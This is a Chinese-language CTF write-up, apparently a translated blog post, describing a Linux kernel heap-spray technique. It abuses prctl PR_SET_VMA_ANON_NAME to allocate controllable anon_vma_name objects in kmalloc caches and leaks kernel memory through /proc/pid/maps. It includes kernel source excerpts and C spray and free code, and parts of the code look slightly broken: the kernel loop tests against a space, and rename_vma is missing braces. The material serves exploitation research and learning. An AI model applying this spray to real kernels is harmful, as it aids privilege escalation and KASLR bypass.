TLDR
prctl PR_SET_VMA (PR_SET_VMA_ANON_NAME)
可以作为一种针对 kmalloc-8
到 kmalloc-96
缓存的可能新的堆喷射(heap spray)方法。喷射的对象 anon_vma_name
是动态大小的,可以从大于4字节到最多84字节不等。该对象可以通过 prctl
系统调用轻松分配和释放,并且可以通过读取 proc/pid/maps
文件获得泄露的信息。这种方法的优点是它不需要跨缓存攻击,因为 anon_vma_name
是用 GFP_KERNEL
标志分配的。
引言和背景
在我的实习期间,我遇到了一个涉及内核的pwn CTF挑战,它教会了我一些基本技术。涉及的漏洞是导致写操作的竞争条件,挑战的一部分是泄露一个随机生成的密钥,该密钥将与数据异或后再写入内存位置。然而,写操作的方式意味着它会从目标内存位置的开始写入大量字节(由于您不知道XOR密钥,写入是不可控的),并且会破坏许多常见的可喷射对象(如 msg_msg
、setxattr
或 add_key
)的头。对象大小的限制及其分配到 GFP_KERNEL
kmalloc 缓存也意味着,为了喷射这些常见的对象,我需要执行跨缓存攻击,对于某些对象如 sk_buff
,跨缓存攻击还需要跨不同阶的页面 :(((
出于对寻找一个稍微不那么烦人的可喷射对象的绝望,我开始研究系统调用。理想情况下,我需要一些:
-
可以从用户空间分配和释放 -
可以从用户空间读取 -
是相当无用/有无用的头(这样即使我用随机垃圾覆盖了头,然后尝试释放对象,也不会导致内核崩溃)
符合这些标准的物体可能是存储某些东西名称的字符串(例如主机名),尽管 uname 使用的结构(我希望它是可行的喷射)不幸地在栈上分配。然后,我发现了 prctl
。
prctl 是什么?
根据 Linux 手册页,prctl()
操作调用线程或进程的各种行为方面。
#include <sys/prctl.h>
int prctl(int option, unsigned long arg2, unsigned long arg3, unsigned long arg4, unsigned long arg5);
它做了很多不同的事情,但我感兴趣的选项是 PR_SET_VMA
,它的子选项 PR_SET_VMA_ANON_NAME
。基本上,PR_SET_VMA
为 arg2
定义的属性设置了虚拟内存区域 arg3
的大小 arg4
。arg5
指定要设置的属性值。如果 arg2
是 PR_SET_VMA_ANON_NAME
,它将为匿名虚拟内存区域设置一个名称。这听起来像是一个有喷射结构的候选!
为了使这个工作,必须启用 CONFIG_ANON_VMA_NAME
选项。据我所知,这在默认的 Ubuntu 内核配置上是启用的。对于这个挑战,我使用的是 Linux 内核版本 6.1.37。
让我们看看 anon_vma_name
结构:
struct anon_vma_name {
struct kref kref;
char name[]; /* 名称需要在末尾,因为它是动态大小的。 */
};
struct kref {
refcount_t refcount;
};
看起来非常无用!头部是4字节(因为 struct kref
是4字节),名称是动态大小的。名称字符数组的最大大小是80,因此这个对象的大小可以从大于4字节到84字节不等。
让我们跟踪一下内核代码流程:
static int prctl_set_vma(unsigned long opt, unsigned long addr,
unsigned long size, unsigned long arg)
{
struct mm_struct *mm = current->mm;
const char __user *uname;
struct anon_vma_name *anon_name = NULL;
int error;
switch (opt) {
case PR_SET_VMA_ANON_NAME:
uname = (const char __user *)arg;
if (uname) {
char *name, *pch;
name = strndup_user(uname, ANON_VMA_NAME_MAX_LEN);
if (IS_ERR(name))
return PTR_ERR(name);
for (pch = name; *pch != ' '; pch++) {
if (!is_valid_name_char(*pch)) { // [1]
kfree(name);
return -EINVAL;
}
}
/* anon_vma has its own copy */
anon_name = anon_vma_name_alloc(name); // [2]
kfree(name);
if (!anon_name)
return -ENOMEM;
}
mmap_write_lock(mm);
error = madvise_set_anon_name(mm, addr, size, anon_name);
mmap_write_unlock(mm);
anon_vma_name_put(anon_name);
break;
default:
error = -EINVAL;
}
return error;
}
在上面的代码中,它检查 ([1]) 输入的名称是否具有有效的可打印字符。如果检查通过 ([2]),将调用 anon_vma_name_alloc
:
struct anon_vma_name *anon_vma_name_alloc(const char *name)
{
struct anon_vma_name *anon_name;
size_t count;
/* 为 anon_name->name 结尾的 NUL 终止符加 1 */
count = strlen(name) + 1;
anon_name = kmalloc(struct_size(anon_name, name, count), GFP_KERNEL); // [3]
if (anon_name) {
kref_init(&anon_name->kref);
memcpy(anon_name->name, name, count);
}
return anon_name;
}
在这里 ([3]),结构体是通过 kmalloc
分配的,并且指定了 GFP_KERNEL
,它将进入一个普通的 kmalloc 缓存。这是非常方便的,因为我们基本上可以将这个喷射到任何从 kmalloc-8
到 kmalloc-96
的缓存中,我们可以避免任何从 cg 缓存的烦人跨缓存!
如何从喷射中读取数据(感谢我的导师提供这部分内容!)
通过查看 show_map_vma
函数,我们可以了解如何从喷射中读取数据:
if (file) {
seq_pad(m, ' ');
/*
* 如果用户通过 prctl(PR_SET_VMA ... 命名了匿名共享内存,使用提供的名称。
*/
if (anon_name)
seq_printf(m, "[anon_shmem:%s]", anon_name->name);
else
seq_file_path(m, file, "n");
goto done;
}
使用新设置的名称,我们可以通过对 /proc/pid/maps
文件的读取来从喷射中读取数据,这可能允许我们从 maps 文件中泄露内核内存中的数据。然而,这种方法的限制是,如果待泄露的信息包含空字节,它将打印到这些空字节为止,然后停止。如果你很幸运,并且你有一个没有空字节的内核文本/堆指针,这种方法可能被用来绕过 KASLR。
接下来是如何释放喷射的数据:
void anon_vma_name_free(struct kref *kref)
{
struct anon_vma_name *anon_name =
container_of(kref, struct anon_vma_name, kref);
kfree(anon_name);
}
这个对象被释放的方式可能与文件被释放的方式类似。当进程结束时,或者如果再次调用 prctl
并将名称缓冲区设置为 NULL
,引用计数将减少。如果引用计数变为 0,anon_vma_name
对象将被释放。
如何喷射 anon_vma_name
喷射 anon_vma_name
很简单:只需使用带有 PR_SET_VMA
和 PR_SET_VMA_ANON_NAME
参数的 prctl
系统调用。实现这一点的一种方式如下所示(抱歉代码质量不佳):
#define NUM_PRCTLS 1024
void *address[NUM_PRCTLS];
int rename_vma(unsigned long addr, unsigned long size, char *name) {
int res;
res = prctl(PR_SET_VMA, PR_SET_VMA_ANON_NAME, addr, size, name);
if (res < 0)
perror("[!] prctl");
return -errno;
return res;
}
static void spray_vma_name(void) {
for (int idx = 0; idx < NUM_PRCTLS; idx++) {
address[idx] = mmap(NULL, 1024, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
char buf[80];
char test_str[] = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
memcpy(buf, test_str, 72);
char store[8];
memset(store, 0, 8);
sprintf(store, "%d", idx);
memcpy(&buf[72], store, 8);
rename_vma((unsigned long) address[idx], 1024, buf);
}
}
分配的名称需要是不同的,因为如果使用了相同的名称,内核将重用相同的 anon_vma_name
对象,喷射将失败。这在内核代码中有所展示:
static inline
struct anon_vma_name *anon_vma_name_reuse(struct anon_vma_name *anon_name)
{
/* 尽早防止 anon_name 引用计数饱和 */
if (kref_read(&anon_name->kref) < REFCOUNT_MAX) {
anon_vma_name_get(anon_name);
return anon_name;
}
return anon_vma_name_alloc(anon_name->name);
}
在 gdb 中,喷射看起来像这样(喷射上方的垃圾数据是我试图读取的,它被写入了与喷射对象相同的地址,这是由于挑战的工作方式):
![使用anon_vma_name进行Linux内核堆喷 使用anon_vma_name进行Linux内核堆喷](https://ctfiot.oss-cn-beijing.aliyuncs.com/uploads/2024/06/3-1719538586.png)
要从喷射中读取,你所需要做的只是查看 /proc/pid/maps
文件!
![使用anon_vma_name进行Linux内核堆喷 使用anon_vma_name进行Linux内核堆喷](https://ctfiot.oss-cn-beijing.aliyuncs.com/uploads/2024/06/0-1719538587.png)
你也可以在你的代码中以编程方式做到这一点:
![使用anon_vma_name进行Linux内核堆喷 使用anon_vma_name进行Linux内核堆喷](https://ctfiot.oss-cn-beijing.aliyuncs.com/uploads/2024/06/4-1719538587.png)
最后的十六进制数是泄露的密钥,它被写入了 anon_vma_name
对象,与第一张图中的相同。
正如我的同伴实习生所说,这相当于通过任务管理器从内核内存中泄露数据 😀
要释放喷射,你所需要做的只是再次使用 prctl
系统调用,但这次将名称缓冲区设置为 NULL
。
for (int i = 0; i < NUM_PRCTLS; i++) {
rename_vma((unsigned long) address[i], 1024, NULL);
}
结论
prctl
的 PR_SET_VMA
可以作为一个方便的堆喷射手段,适用于 kmalloc-8
到 kmalloc-96
。感谢 Billy 作为导师指导我,希望在接下来的时间里学习和发现更多有趣的事情!:D
参考文献
-
Linux kernel 6.1.37 mm_inline.h
-
man2 prctl – Linux manual page
原文始发于微信公众号(3072):使用anon_vma_name进行Linux内核堆喷